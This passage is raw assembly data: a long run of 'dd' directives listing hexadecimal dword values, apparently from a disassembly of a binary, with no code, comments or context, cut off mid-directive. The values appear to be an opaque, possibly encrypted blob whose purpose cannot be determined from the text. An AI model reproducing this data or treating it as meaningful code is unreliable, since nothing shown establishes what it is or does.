5C167CB4h dd 37ABBE00h, 7627C593h, 253C5C5Ah, 35DE3A4Ch, 6FBA199Bh dd 2CC5926Eh, 0C060F1CEh, 62BCC485h, 706A34Ch, 5DF09DD4h dd 3D83B99Dh, 7E96C512h, 306668AFh, 5026349Bh, 750C55BBh dd 7EAC8F60h, 0EAD1F603h, 1873CCF0h, 74E21FFh, 74C0E7DFh dd 0BE887D51h, 0A2459FEh, 0FAB6E5A4h, 4784FAE4h, 0D126BA2Fh dd 0A18BD918h, 0B2F1FA4Dh, 761DD493h, 970B9C8Dh, 7804B1CCh dd 0A079E32Ch, 9C771833h, 572800D4h, 7D48DFC0h, 64D650BCh dd 7840DABFh, 6FC73EEEh, 0A8D2CA3Ah, 21D1CBCFh, 76E52A1Bh dd 0B58629A8h, 0EFBAE7E6h, 688BCE89h, 6DAF070Fh, 7C7E3238h dd 0FE807FF8h, 0F12DA50h, 0E88EB472h, 14022A8Eh, 289EA194h dd 111D6209h, 27CCC0BDh, 3A18785Dh, 7E4696EBh, 3556D9D6h dd 0E80AB68Ah, 4F4FA4BFh, 0CCADA1F6h, 1C02D32Bh, 6162A97Ah dd 5DB0EC6Ah, 519416BFh, 63594FE6h, 0F619E2B2h, 0DDAA799h dd 3B18D41h, 0F5B6DD68h, 0B8963741h, 24E550ADh, 45E8D9Ah dd 748A1D1Ah, 148040FEh, 1F7A4901h, 2B0ED5ABh, 1E252A91h dd 2128C2D3h, 4622749Dh, 6E376274h, 8D573D52h, 2C8D42AFh dd 3E0F6179h, 0BD2CCC29h, 85E8F1A0h, 2978CEBDh, 0EFE88528h dd 2348DA2Ch, 0D67E093Ch, 17036369h, 0F93E8700h, 79472791h dd 7AF83F25h, 0CF4EFA5h, 0AD015029h, 0ABA81D68h, 47D324BEh dd 0FFF95FA7h, 82B4C229h, 0A1A8893Bh, 0AF5F1FF9h, 78182F4Ah dd 15E5E05Ah, 7320B708h, 0B8F0F68h, 38D2C85Bh, 95552A70h dd 46F8099Bh, 902E0D7Fh, 36F2E13Eh, 227C1F7Ch, 30E0C1C0h dd 274D394Ah, 0F151591Bh, 5C3A1426h, 31155D6Ch, 1B6A398h dd 0CDE13E3Ah, 0AFFE9A5h, 4D50064Fh, 0EAFB9551h, 0ED43778Eh dd 5F0D7860h, 788D5D3h, 4AFDE49h, 3924E70Ch, 240CAEBCh dd 0FACA83EAh, 686B9CEFh, 6BAC8982h, 663C1F6Dh, 50FAA204h dd 0A3B45E38h, 4CECFEA6h, 0D5508052h, 666D4CE1h, 0C105C2EEh dd 0DBD86C3h, 5E2FA0CDh, 3BEFFA11h, 4764432Eh, 0C4AB57C2h dd 0C73D2738h, 0F6411782h, 1A0A2444h, 0BD9EEA84h, 153654F8h dd 73FCB5A8h, 0D728E70Fh, 68E0EA1Eh, 0B718F46Ch, 50EC2AE1h dd 86B67C0Dh, 0C4FBB799h, 0A108194Dh, 0CFD4097Fh, 1AE288F7h dd 45EA98DAh, 0C3A6169Bh, 0C87CA508h, 998849BDh, 40F725FBh dd 0ACCA616Bh, 30C84C05h, 1D18360Ah, 4D99B397h, 5AFEDDA3h dd 6B05CEF7h, 5C224063h, 1A50B166h, 0F0154628h, 623AFCF3h dd 0FF55DCB5h, 0FBC4C360h, 0D601EA08h, 2FC0AB54h, 15CC4B18h dd 0E63C0813h, 15826C06h, 7C80B9EBh, 4BC21BE4h, 3011A193h dd 823081AFh, 0BFF8041Fh, 0A4FE78F2h, 7CE279D4h, 0C6EE74ECh dd 422815A3h, 0F33E74E7h, 5F223172h, 363D264Ch, 5F3B31EDh dd 0E71339F0h, 0FF3C67A8h, 0F1DEA4B5h, 7CB1ACFEh, 64DEA4ECh dd 48D7C5FDh, 359019B4h, 36117941h, 0E5770400h, 6F94D691h dd 2B5A443Dh, 5B7CEFE2h, 0E1E483Ch, 77F2A9DBh, 57B3D2A0h dd 459DDE0Bh, 6FF44B34h, 5CBA719Ah, 5B851E86h, 4910CFDFh dd 0B882F798h, 0AED52D97h, 185DF687h, 27AA97DCh, 0FF6B86Fh dd 5A52B1ECh, 15491F67h, 7169FF0Ah, 95642E44h, 0B76B9F74h dd 0A6F93467h, 1812EB11h, 0C65D793Eh, 151F9781h, 32477E15h dd 0C2FC1ED0h, 592E7E30h, 5C54E54Bh, 0B45A2775h, 9CD2D6BFh dd 5E864A86h, 6D290CADh, 51DD94D4h, 0C003DAA7h, 0D4020F0Fh dd 841ED58Bh, 736B8462h, 86CD299Ch, 262ABF5Bh, 9BEE7F2Bh dd 0E223C1Ah, 5FDAC74Eh, 0F32C0B19h, 59BBB4F2h, 77183B6Eh dd 0BD345FE7h, 6D2B5819h, 309039A5h, 31546F7h, 59F11617h dd 0BDC8642Bh, 1EF03C9Ch, 8A58ED1Bh, 7C5D9831h, 83B96A2Ch dd 9B33CB44h, 95B70670h, 0F8376080h, 9717341Ch, 43ECCDAAh dd 0E8DE2BBAh, 5395D08Fh, 273A2FF0h, 5ED29A86h, 5643C135h dd 0DD669D99h, 0CC2BE365h, 0A128BB1Fh, 2425020h, 351A014Ah dd 321C5D90h, 274CD3BFh, 14DB69A4h, 0B7B75967h, 9B8610D4h dd 806C5D0Fh, 9B6AF44Ch, 886C5D0Fh, 4036E868h, 946C6E38h dd 259EFC3Eh, 4548AC14h, 0F2C6367Dh, 5F4BC089h, 0C8E75B6Eh dd 40D1C983h, 0BA690235h, 54EB49B8h, 0CDF2763Eh, 8AA60E0Fh dd 966A2306h, 3918B49Fh, 5F9EC274h, 0E65C8675h, 5EE63DB3h dd 4626C2A5h, 0D7EE74FDh, 2A37D2D3h, 1231AB3Eh, 3D57CEFAh dd 0D14B1FDEh, 0CB9EBE3Fh, 470A91C7h, 0FBE32142h, 2CE611F0h dd 9AE31986h, 0CC32D553h, 7E83E2A2h, 0A6D2F0E2h, 3710DC73h dd 0B8DC2F31h, 4B173656h, 72166AF0h, 5C113A36h, 2D1418D2h dd 90CACB14h, 2840DC4Fh, 4D616A57h, 0F69DFC21h, 0A931C35Ah dd 87293C52h, 0A9D5F76Dh, 13BFAAF1h, 79747530h, 752303A0h dd 7DB36798h, 0A7D31368h, 1FE0A388h, 9329D0DDh, 76AA53E0h dd 5109F20Ch, 0EAB05C68h, 0F1AE3D99h, 0B577FD5h, 8E33154Ch dd 0ACF7D39Eh, 27BFDA29h, 1D621DDFh, 5D00D02Ch, 5CD089BDh dd 8201CCD9h, 0EEF9702h, 0C7AA757Eh, 56184204h, 1E3F8646h dd 0A62013F6h, 9B124035h, 7CDFFF44h, 0D75D6DE7h, 349E1880h dd 0A000CB61h, 8B8FD7F9h, 82E512BBh, 683A499Eh, 58620068h dd 1B20CE13h, 0DB3E251Ch, 740F52D2h, 0C51A8444h, 0BF3037F6h dd 365DD04Ah, 0F4817CE9h, 66AF880Ah, 2EF4F113h, 727BEA56h dd 70B333C6h, 5E6B5C5Ah, 9C344435h, 0E8E0F13Ah, 0DB96F56Fh dd 6FF65C8h, 569EF5ADh, 59CDA57Ah, 65A885C4h, 522EDC2Dh dd 5023D00Ah, 92F05ADh, 0A5F8C7F7h, 0E6267EFh, 66D003DFh dd 0D763F078h, 0A198AF01h, 26AC3C3Ah, 0F2B7494Ch, 712AB53Bh dd 7998F1ECh, 0CF42EB3Ah, 4BC8BAA2h, 2FC0FD17h, 8CE5B58Bh dd 0B0C31610h, 0D325E994h, 3A7A54B5h, 0E66D3594h, 81B27B4Dh dd 6B88DFA4h, 0F2B80C23h, 4ABEE6Dh, 4F221E3Eh, 0F69231B8h dd 6035736h, 48FBDA98h, 99A6CD5Ch, 9839CD4Eh, 6437796Eh dd 87047AB0h, 1259651Eh, 73BC9C89h, 0F86AACDCh, 9B39B35Bh dd 0F574A32h, 6BE1EB93h, 2E2E1000h, 0C6A9133Ch, 0EFE30310h dd 4095F7Dh, 250E7ECEh, 58C80496h, 0EAF84400h, 75E4D05Bh dd 0AA859FBDh, 7ED8C957h, 76AC046Ch, 0F180DAE3h, 617BA24Bh dd 702BA2ADh, 86A20C79h, 0CBC7D17Ch, 0F8D6BBFh, 9EF56D00h dd 1F5AFF6Fh, 484DC4E1h, 0AAAD66B3h, 26392AB7h, 85311EEBh dd 6245D4FCh, 942AA3D7h dd 0A48F4979h, 167AD987h, 8A60D009h, 0AF46032h, 0DE8FC4F7h dd 72C143C2h, 0F92EEA6Ch, 0AE5EC75h, 0F0ECD6A9h, 0BB459AC1h dd 0B61CC6AEh, 2C3BF34Fh, 5B612945h, 0FFE34AFBh, 53A02959h dd 5BE0805Ah, 73C99A13h, 0A9A2BEF9h, 0A5CDDCBEh, 11E27022h dd 0F0FFFD73h, 0E7161DB4h, 54C2C3F3h, 81273A59h, 6518B5E7h dd 0C8E79A35h, 41ADEA4Bh, 69DF9FF6h, 76E0C1D3h, 0C43B20CBh dd 2259391Ah, 5FD9ECA3h, 5366C50Bh, 4464423Dh, 70B2F02Ch dd 29A664BAh, 8FB1AB8h, 98D43369h, 749639B8h, 0E864F72Dh dd 61E27C62h, 28DB0C21h, 0B5D34427h, 8B8B4B1Dh, 3797D951h dd 88E3EF4h, 457C49CDh, 17A54732h, 0B4C9D438h, 983BF5BBh dd 43C989F3h, 0B95E59A1h, 183335ABh, 5E1976BDh, 1574233Bh dd 43BA463h, 26B8C28Ah, 62BA1EACh, 0A41BBA2Bh, 56FA51B5h dd 0CA708CBDh, 1D050C1Ch, 76CFADD8h, 0C09E49B1h, 0EB44A31Bh dd 1C62AEF3h, 7F94684Fh, 0CBCAA488h, 44520AAFh, 0E3D6CC5Ch dd 0FC121C6Fh, 2BA044ECh, 849D84B1h, 493C645Fh, 9BA85D49h dd 7789663Bh, 0E4989DE6h, 3737E37Dh, 494CD3F7h, 0D02AD958h dd 97D7C878h, 9F8DF6C8h, 2B09ADF7h, 831507ACh, 2016A8FCh dd 0B487C70Ah, 0A6BA14DFh, 0E2E279AEh, 3129F21Fh, 0EBC2B0E0h dd 2EBC2F58h, 9F584DC0h, 0E89D143Ch, 0B1578080h, 0A540EC30h dd 0BBB6138Ch, 1D7D7348h, 8DAC9F8h, 0B3001D5Bh, 0D2629DD3h dd 519BB477h, 848CF0FAh, 0C861975Ah, 0AD6978Ch, 0C44C039Eh dd 51DE16B4h, 7894B4D1h, 0F9D53472h, 7B4D8392h, 0C1581BC0h dd 0A8686384h, 66D39B9Bh, 71C5AB58h, 8FE4CF02h, 2F1EE884h dd 1A1F7AF4h, 0AB171926h, 0C4F0C722h, 8281B1BAh, 0FF1605E8h dd 5D234B96h, 10CC9862h, 0F569AA20h, 0C517C94Fh, 5F941BFBh dd 7A245AFEh, 648DC9AFh, 1C1D2B7Eh, 0EDE607D4h, 2B47C13Ch dd 0B6E809EFh, 879A5C14h, 0A547D52Eh, 97194485h, 55B2AC19h dd 2ECF1521h, 4DD0315Bh, 147A2A8Fh, 0B4A8E909h, 0C4578937h dd 0A18C7BD3h, 935CDFB8h, 0C65E799Fh, 0A0ECAF55h, 614D4473h dd 8ADEF734h, 0C37E5DF0h, 0FC15A33Ah, 0F620CFAFh, 230ADBE3h dd 24ABD085h, 0BCF6B546h, 14E6D20Bh, 0A5C96999h, 0AC4964A1h dd 0E2046835h, 18399AF1h, 39870801h, 0AA8A471Ah, 53FE48A0h dd 14E3A967h, 31615A0Fh, 8FE3ADB5h, 327686Dh, 9870BE8Ch dd 0FBFE389Bh, 49BFC4E9h, 0F0617045h, 0EB5CAADBh, 0EE56C1Eh dd 52DD4892h, 62AFF35Bh, 7E30BC1h, 6962367Eh, 3308E44Bh dd 75E3F64Fh, 5BC3816Ch, 0C4211B70h, 0FD68D1E3h, 4E04F470h dd 0D2181D67h, 0FC58509Eh, 0CE905B6Fh, 5A8D05CAh, 15B641A1h dd 860FBB18h, 0E0ECA2E3h, 863E102Dh, 147B2D86h, 0D7F540C8h dd 11535F92h, 257A9A77h, 0FC04E5C8h, 0E50455F2h, 8A6D3C6Fh dd 6DB82CB5h, 0B780E446h, 0CE77909Eh, 4A26F2E7h, 2BF2F491h dd 10E68A5Ah, 955A1CB2h, 1F84AD8Dh, 27023ABCh, 0B316D9B7h dd 0B5562A22h, 7B084254h, 11228996h, 6D62381Fh, 0D858A2F1h dd 7B0942E7h, 0EFF518FEh, 0C298E00Bh, 0BAE2A2CFh, 97F22B50h dd 0D7F13F4Ch, 8BB04001h, 3DA1E664h, 0F4B05609h, 3A5A3283h dd 0CEC134h, 0B98F862Fh, 4EE1CFD4h, 76586058h, 0FAF39CDFh dd 1B305A71h, 35E42DF3h, 0E1E8C2FEh, 0F4CC9686h, 0C746CE20h dd 1480C530h, 811047CCh, 0A149F47Ah, 0EF0A98BBh, 364BA282h dd 16E4E78Eh, 4B2BB141h, 0EEBEE5C3h, 0A17667DFh, 95EFECEEh dd 28CBA971h, 882C7E3Ah, 0B0756D9Dh, 0A1941DC9h, 9CC0CA95h dd 68E6FF20h, 85D1A255h, 1E8DDA3Eh, 2AB3BD4Ch, 0E43841D6h dd 279B8D60h, 47247F1Ch, 2D836525h, 0C0C794B0h, 52182DB5h dd 0E757CFFAh, 9E68A12h, 0C6F6E0B8h, 0E0D809F1h, 835BCFCCh dd 0E104767Eh, 0FB8EE834h, 676C47A5h, 522E108Ah, 9404580Bh dd 8F829478h, 7EA22593h, 0EB4990B4h, 96B8A53Eh, 15BFF2Eh dd 8C042567h, 0C4F26050h, 0C981181h, 1A25BD08h, 0B02CAD08h dd 5C802FB3h, 528790FFh, 0F1627BAh, 5208735Bh, 3B42F28h dd 1878F073h, 8E1F912Dh, 0C1BBF413h, 0A213B4EEh, 0CF02487h dd 0C79FF41Dh, 735197B5h, 72B2597Eh, 1A1721C2h, 2F6AD16h dd 0B7E3129Dh, 5D20AFC9h, 9BB57F5Ah, 5C534366h, 17715A98h dd 3E0D58ACh, 56C9906h, 876343F8h, 7BB0C0E1h, 4C7A4886h dd 78ECC131h, 0D317F8DFh, 2C724790h, 0AC8517DCh, 75C61EA1h dd 1C331113h, 68E7AB26h, 3E7C089Ch, 64C207E2h, 0E9419F16h dd 16E6D0D3h, 16774E15h, 536D511Eh, 65868FDCh, 0A3800047h dd 16ED176Dh, 525FDFE1h, 504BD02Dh, 0A064DF14h, 3D880216h dd 4B943645h, 8BC21060h, 92C059AFh, 0EB985A39h, 30A598DAh dd 68089CB7h, 7063A777h, 95496939h, 404B9C13h, 175A09C4h dd 0A86E9406h, 928A139Bh, 16439F7Fh, 179AF220h, 46B7A3A2h dd 0EE0EB4CCh, 0EE0D5776h, 0D1DBEC5Ah, 6CCEB46Ah, 0CC6F0609h dd 61F8FD66h, 82D2D275h, 88C2FDA3h, 0D0087BABh, 3545852Ch dd 0B783366Ch, 6393EC13h, 5E5E336Ah, 0DFFB40B1h, 0C78E9F32h dd 0B0EC4E83h, 0CC0F2A9Ah, 6C17A541h, 5F18F460h, 2B0C1844h dd 0CE56E41Ch, 12E9D49Ch, 0B1B9479h, 3BC3BCA6h, 7B563EAAh dd 9C348B7h, 2BA440B9h, 0F4316B9Bh, 56194481h, 6255D9B4h dd 0E34E8AAh, 7646B5Bh, 0A6A33ABAh, 0F3E88F59h, 47A5ADC9h dd 0B0CD3DF0h, 1422ACAAh, 0A9D3F0AEh, 72238CC3h, 883004CCh dd 811AF2E1h, 46DD0D7Fh, 0A8B3CBC4h, 0FDE6F07Bh, 0BC790B4Ch dd 0E276C943h, 4D9D3BDAh, 51E7E0E3h, 0E9F3DC33h, 2AF6C9C9h dd 14001713h, 3FB3FF81h, 7254CBh, 629133CFh, 0E78422E8h dd 71C50971h, 0F9C2DA8Bh, 0F573554Bh, 50B1D159h, 1610C37Ch dd 21D60EFBh, 6DD53FD4h, 348A7AE1h, 98B146AFh, 87414CF0h dd 0CC0CFDA6h, 539E16Fh, 0B4B04356h, 22D6F6A2h, 850D196Ch dd 0BE60F2Bh, 0C1DCF4F7h, 4909064Dh, 380AD781h, 0FBC66C4Dh dd 0F84D084Fh, 3A1DF745h, 4B79246h, 0E3165730h, 5CDE317Ch dd 0DAA18491h, 14454478h, 0D34E2538h, 0E209C657h, 644C8B1h dd 7E2C3D3Fh, 0AD2D49C1h, 0EEF4CD97h, 1A585708h, 7474378Dh dd 4D4851E0h, 1ABCA723h, 0FF7A4778h, 21EF70D4h, 0F8939410h dd 68CC00BEh, 0B8F38F87h, 68CDB495h, 931EC647h, 73D269DEh dd 9F59F07Ah, 0F02D4287h, 40A04B26h, 0CCB9EA8Bh, 77FAFBCCh dd 0BDC09C9Bh, 3E65509Fh, 8CF493B1h, 0C2FA04ACh, 6DF74D66h dd 0ED1818C0h, 965CD97Fh, 0FB420299h, 62C8E3D0h, 1FCF7405h dd 0AD77FA53h, 1D7DDC3h, 24AF3793h, 72162139h, 9CA1EA92h dd 8039F23h, 0E1B91A91h, 0A4B515E4h, 0A0289C97h, 7DB477A0h dd 1FB6E9EBh, 1DC7AF2Fh, 6C65D675h, 6B183D15h, 0F3E8AD41h dd 0C7359E35h, 0A60C764Fh, 0C13E0FF2h, 860C579Bh, 73D8253Dh dd 65C20495h, 2BCB88F4h, 0BB4EFD0Fh, 17E18FB5h, 0BF5FC0C1h dd 5B5930ABh, 0E984BA8Eh, 3B9A4B2Fh, 0B980CD17h, 34A4906h dd 2044D64Bh, 9C32861h, 7A40922h, 976A1428h, 0C076C663h dd 0EF025B39h, 94B5E00Ah, 0F76BE886h, 0CEA68F3Dh, 0CB004A9Eh dd 0C36F9847h, 9E12A734h, 7D61E19Fh, 293D1FA3h, 0BD02F4D3h dd 42CABB58h, 0BB63C9E0h, 45649D78h, 776B810Eh, 2F5D4238h dd 7DAE4A8Dh, 3FB7BB68h, 3380258Ah, 93356907h, 0A4705BCEh dd 374D6E2Fh, 4A50CEA2h, 5C0064AAh, 0E7B6C6DAh, 0C1C96E00h dd 18EE5EBDh, 7339C8Bh dd 0A1E02E45h, 0B2953CF0h, 4B5E3F76h, 8A0C7DDCh, 6B3297DDh dd 47EA2A84h, 26239799h, 3F4F5A22h, 18B685E2h, 1C479870h dd 68482DE9h, 0AD714DA5h, 0B16F05FDh, 9F340064h, 310C11EBh dd 8F09BCF6h, 23EDB57Bh, 475028h, 0F2D8503Eh, 0A8BEE4C0h dd 70B478AEh, 16FA3534h, 6C12C6FEh, 0FBF2E86Bh, 77A1C9B6h dd 290908F2h, 57968AF0h, 0C629B867h, 0A05CCD23h, 0C46C1B60h dd 0EC808927h, 9920857Dh, 0D7B8C7E9h, 34614D86h, 0D2369756h dd 484F309Bh, 4E8DE609h, 8A4C7679h, 1CB6AB87h, 0AC5C4DE8h dd 0A25A43C6h, 725A361Eh, 0BF17EB35h, 73061052h, 33C9929Ah dd 0E91B910Dh, 3C16DB77h, 0A53F495Ah, 0C1E6D6DEh, 37580EAAh dd 9A5091E4h, 4605A450h, 0BE60E039h, 49D60BEh, 0F4DAB40Dh dd 2CE363C0h, 200B98D3h, 5149F768h, 5C1383B0h, 6F5833E7h dd 73E2F3DAh, 0AC4C01F8h, 0F3084AFBh, 1C1B37C5h, 82FA523Fh dd 0FFB504B7h, 80FA4A85h, 204F660Bh, 52DAC6E5h, 0F30055ACh dd 11480ECDh, 5A4A9460h, 52F3E17Ah, 0B7383375h, 0FF9D7CDBh dd 46E35912h, 1EA6D1EDh, 53FC53BBh, 50A78697h, 0CE3CD1C0h dd 803211B1h, 0CC2BCCCCh, 8037D0A2h, 27DBD6E8h, 98083148h dd 0F4F24C28h, 28E5CC78h, 4A871123h, 0D8FAB967h, 0D7902D89h dd 60C0D0F5h, 5B99083Dh, 0CAEF5B83h, 476AB6BDh, 672BD442h dd 82B7F889h, 6E63C6A1h, 0A72E3A6Dh, 1C194783h, 0AB473A3Dh dd 0E84A317Dh, 0F1A6D2BBh, 216F418Ah, 65476801h, 54505CBAh dd 1C94BCC1h, 702C80C8h, 0B10CD78Bh, 65E92A86h, 0BD69CD04h dd 0EBEDAB14h, 631048BEh, 0AB23C3FAh, 0D533A9C7h, 2480550Dh dd 6A1A86F3h, 0E34016FEh, 0CE586C0h, 70DCFED0h, 55FE8920h dd 18F2C5BEh, 6D941CF0h, 0FA0AD3B4h, 3B49C9C6h, 75CC19CFh dd 0BCA0AC28h, 68ED924Fh, 0A7BF1D78h, 0FA95BF45h, 5EB8598Fh dd 0DE6424D2h, 6D4BAA36h, 0D2FA65BAh, 450E4833h, 0E6B971BEh dd 5086A36Fh, 0B8E66065h, 5078DD2Bh, 4D43F95Ch, 0F258DCECh dd 5E44852Ch, 57ADC1D2h, 0AD980220h, 721860B8h, 441275E1h dd 0EA581005h, 0C8932D1Fh, 391DE418h, 561C7CCEh, 5158BB6Ch dd 2F1CE0F7h, 47889C71h, 805AE9FFh, 34EC591Bh, 2EF9AB51h dd 0F8F8EB58h, 0E4E9BE6Dh, 846FDEB8h, 0F8E0C9E6h, 5C0B0829h dd 83170608h, 0F9246DB5h, 7FE13734h, 32F1586h, 0E921C241h dd 6DF7EB61h, 0C63AD789h, 2FC91263h, 2EC4D70Bh, 0B806D70Dh dd 3C576C2h, 0CB722330h, 5EE10726h, 770D4D79h, 5B3EA703h dd 969FC52Ah, 0E0E5195Ch, 762745Ch, 24B9E383h, 2FC6093Ch dd 2150E98Bh, 5BB71738h, 13F2CA19h, 720DD43Ah, 0D65AA825h dd 0A50D9366h, 0A7BDB036h, 82758664h, 7BBA8782h, 0C04B1F0Ch dd 5B9516F5h, 301B134Ch, 701F39BEh, 98F0DE28h, 15B3BE7Ch dd 726C797Ch, 199291E4h, 6262754Eh, 885A4E4h, 75617048h dd 8FCEB3E6h, 0FD823C6h, 3EA9968Ch, 48495374h, 28A5EFCDh dd 727C037Dh, 8F1FA5EDh, 6B62EE23h, 23E0F3B0h, 505A5A77h dd 2CA593C2h, 756D7575h, 0AF0D2CECh, 61616FC6h, 19B79DF7h dd 7479731Eh, 29582DFh, 517A7274h, 0C63F37D3h, 68676FCEh dd 4E3CFEDh, 572E7019h, 1C85AFE2h, 0DFF16364h, 4942C5Ch dd 447D7B1Fh, 3F8DA8D7h, 6947435Fh, 0AF81B5F0h, 65656A3Fh dd 7F88B5A1h, 1842507Ch, 0C53B98FBh, 71614BCEh, 15939BF2h dd 74557D4Fh, 2F84AFEEh, 715A5218h, 1087159Ah, 0FD56597h dd 1690AECDh, 8424041h, 5801C484h, 0C0687AD4h, 8F52E4C6h dd 6FCCAAE3h, 15EDAD44h, 627A695Bh, 1B8FAECBh, 0DAB95B4Bh dd 2A2E05Fh, 4F2E1B25h, 7EE6B1CDh, 4878C6FAh, 4B2ABE1h dd 0B85C5716h, 0E9F51C35h, 545D5117h, 0F7E2B78Ch, 0BA83507Bh dd 39B32F7Eh, 744F0F7Ch, 1883AFFAh, 72617205h, 0BD3A851Ch dd 49BCA455h, 1DA9AFE2h, 66604E53h, 0EC8F1A38h, 323B132Ah dd 897A0B5h, 66D67167h, 1B5B079Ch, 2A4A5F5Bh, 55E746C2h dd 0A6882408h, 77987EEEh, 4C6E265Bh, 0FF30FC6h, 7D6E22Fh dd 3C84A0BCh, 9D7C7E51h, 20EF80FAh, 0F1F15D6Bh, 39B0221Eh dd 42052E16h, 208DB4EDh, 746B7FBEh, 148F8CF0h, 8A7A7700h dd 376DB3F6h, 0F548173Bh, 0F20744E0h, 77390EADh, 1990A0F0h dd 0AB8A059h, 0DA942AA6h, 41B36349h, 68C0B762h, 0BA285D14h dd 0AF87BA43h, 588E1CF9h, 9CC5F283h, 0FC085D79h, 60F19398h dd 5091D85h, 0E092B8BFh, 21C183Bh, 0B8E9C79Eh, 929F58h dd 50E9FE8Bh, 0D3C10BBh, 7C6FCD88h, 903D40Ah, 605BD08Ch dd 27C62E34h, 42F3D392h, 138D3CF0h, 3170D796h, 0E1912F6h dd 3FF9D934h, 1D6A00A6h, 62FC9398h, 0E3EA0125h, 6FFEE6A3h dd 46C73C31h, 52C1D885h, 75754E1Bh, 62C42571h, 8028011Dh dd 0E084FEA4h, 2E261A79h, 76A151A9h, 2A223721h, 14F9C7C2h dd 13E3316h, 4170A59Ah, 1E3A2F0Ah, 45A151E7h, 976A2B0Eh dd 49D8C7C2h, 14F8C02h, 4DDCFA9Ah, 63171AF9h, 77A0FEBDh dd 976A053Eh, 34A383C2h, 469E7821h, 14A787C6h, 4F085DA8h dd 31708BCAh, 4B45053Eh, 69E680CEh, 5741525Ch, 0E084D885h dd 535D4E69h, 3170A59Ah, 63594A6Dh, 28E68013h, 468A4661h dd 2CBBD885h, 48293365h, 79BEDD1Dh, 0E6E1567h, 0B90425E2h dd 556C15ABh, 578493E0h, 62151A77h, 170FA784h, 172520C2h dd 4AB7A907h, 271C763Fh, 1B7E8EA4h, 6A077063h, 0B8D2CEA0h dd 157E7356h, 42ECB081h, 747C3CF0h, 5028F3F7h, 707869BBh dd 7C63E14Bh, 27746540h, 0BD2CD00h, 0A8D6144h, 0F9E09B1h dd 0F58FBBB8h, 16731867h, 84010EBAh, 31B245D8h, 8277253Eh dd 766747D1h, 8F9E7821h, 696B4B0Ah, 8B4F8C5Ch, 0B9044F0Eh dd 97811A79h, 31E9508Ah, 95EA053Eh, 69E65510h, 919B8C5Ch dd 9F95914h, 9D975DA8h, 147BD1ACh, 9B08DDA8h, 0E07E5C84h dd 98171BA9h, 0D1C0DC23h, 63171AF9h, 57446221h, 0B76A053Fh dd 0D746C626h, 0CEC60E90h, 6D49E610h, 27A51592h, 0DCD2CD00h dd 3E08B295h, 0C04F09BAh, 1EBCAD2Ah, 0C3A151E7h, 977CA98Ch dd 0C756C7C2h, 842E0180h, 0CA59B38Fh, 35029F83h, 0CE5D7D4Bh dd 0E3EA0087h, 0B1BB01A3h, 202E07FAh, 79235FCCh, 3BCB4EFCh dd 0B60433FAh, 0CF68DB63h, 0A9E908A7h, 0CD913FABh, 792BD198h dd 9A0115F4h, 0BD04259Fh, 0EC1D22Ah, 1028F353h, 0DF4BBBh dd 31281251h, 15DA1276h, 76E91756h, 83EAE501h, 22387C54h dd 6317C6E1h, 0AC3B8013h, 469E65E5h, 903F1F85h, 46AA5E2Ah dd 9201D885h, 842E03DBh, 6204DD1Eh, 84E81BDDh, 9728FD0Fh dd 0EE0C01D0h, 46EE8F69h, 38E56320h, 6A0DC86Fh, 0CF8C5Ch dd 46102E6Dh, 50CFAFF0h, 8264CE72h, 67E91BCBh, 5714CC00h dd 7F81BCDh, 9416CC00h, 40F91A2Ah, 7719D67Bh, 0CF3C10C2h dd 8D1C3AA3h, 849DAF9Bh, 4F1F937Dh, 55CFBBB0h, 0EFE7CDDAh dd 0B77F7D04h, 62E6C686h, 1506983Fh, 0F22151EFh, 805162Fh dd 69E60013h, 9091134h, 14F9C7C2h, 11F0C37h, 6270A59Ah dd 1E1B082Bh, 66A151E7h, 976A042Fh, 6AF9C7C2h, 14F0A23h dd 77FDDD9Ah, 0B8D3973h, 14C74507h, 2208DDA8h, 0E0C7E784h dd 2F171A79h, 76A1EBAAh, 2B257821h, 356309AEh, 830932A8h dd 0F3C4D3B3h, 151C2E34h, 2B0CD891h, 30390E0Ah, 0E084F984h dd 3D371A79h, 76A151B8h, 39332021h, 356309B1h, 554E983Fh dd 0F3C009D1h, 555C4E34h dd 42EC42A3h, 845C4E6Ah, 2228F38Fh, 0B5C4E6Ah, 22C009B1h dd 35024E6Ah, 0F4B242A2h, 27C62EBCh, 0F4644500h, 0B8D3CF0h dd 50644507h, 833C10BBh, 7C634507h, 838AD40Ah, 63C54507h dd 678A3CCAh, 76A145D1h, 62093021h, 14F9C7E5h, 6E667BA8h dd 0C6409E9h, 835C1B49h, 4C63E133h, 555C72BCh, 6EC4294h dd 75556D4Ah, 6C94B284h, 559D8C54h, 7DFB7F6h, 846ED42Ah dd 7799B91Fh, 0B8D3C42h, 0D9CBAB1h, 0DF38131Bh, 779FFEFDh dd 860C01B8h, 5028F38Fh, 358A9FBAh, 0F563E14Bh, 27C69BBEh dd 0F968CD00h, 0B8D3CB2h, 0FD6C4AB1h, 0CF3D97DCh, 22E74E0Dh dd 11029F18h, 0F3735384h, 93C62E34h, 7C775716h, 9F2ED40Ah dd 0B8D25B1Ah, 9B959F18h, 0F3C0251Eh, 0A7918234h, 69253891h dd 0ACBDDCh, 3284C1D1h, 5555253Eh, 56A15107h, 151C9821h dd 14F9C7C2h, 15C476Ah, 2270A59Ah, 1E5C4E6Ah, 22A151E7h dd 976A4E6Ah, 22B2C7C2h, 0A8D7C6Ah, 77594695h, 976A7382h dd 775B0FACh, 469E4E6Ah, 22B2D885h, 11039F6Ah, 0B3A793E7h dd 3503D83Fh, 0B625E14Bh, 0B49E78FFh, 6228EE00h, 97C4D53Fh dd 0BBF9C7C2h, 1CFD1F4h, 0BF2EA59Ah, 0B77F53E8h, 6FE7D797h dd 93BE4EEDh, 0F4E7A1CFh, 82220D2Fh, 6BFFC6C6h, 6AAC5Ch dd 6702208Ch, 14FAC54h, 95E72560h, 14F8C2Fh, 9807279Ah dd 6B151A49h, 670AC66Ah, 842F27D3h, 22B2C6FFh, 6B01F3BCh dd 80E68013h, 0B709EEC9h, 83FBC7C2h, 8FBE827h, 14FBC7F2h dd 0FF19EBCEh, 0C63E0BFh, 835C4E3Fh, 5CF4937Fh, 185C9F1Ch dd 78EE092Dh, 0A0D9Ah, 0A9F01C82h, 30C1CD3h, 75E0C584h dd 7C2C0821h, 8F8AC687h, 345EF1C7h, 488D6B2h, 28346C4Ch dd 5ED2F9ACh, 35202401h, 0C63EF4B0h, 3020E27Bh, 44D4EEB3h dd 351E2A0Bh, 40D1EF8Eh, 0DC543F38h, 72F8F980h, 212D01BFh dd 408B59C6h, 0F886C709h, 45D4853Ch, 3E362B0Eh, 34A383C2h dd 63475A7Dh, 0FE1A819h, 0E44A29EFh, 739BDEFEh, 6367696Dh dd 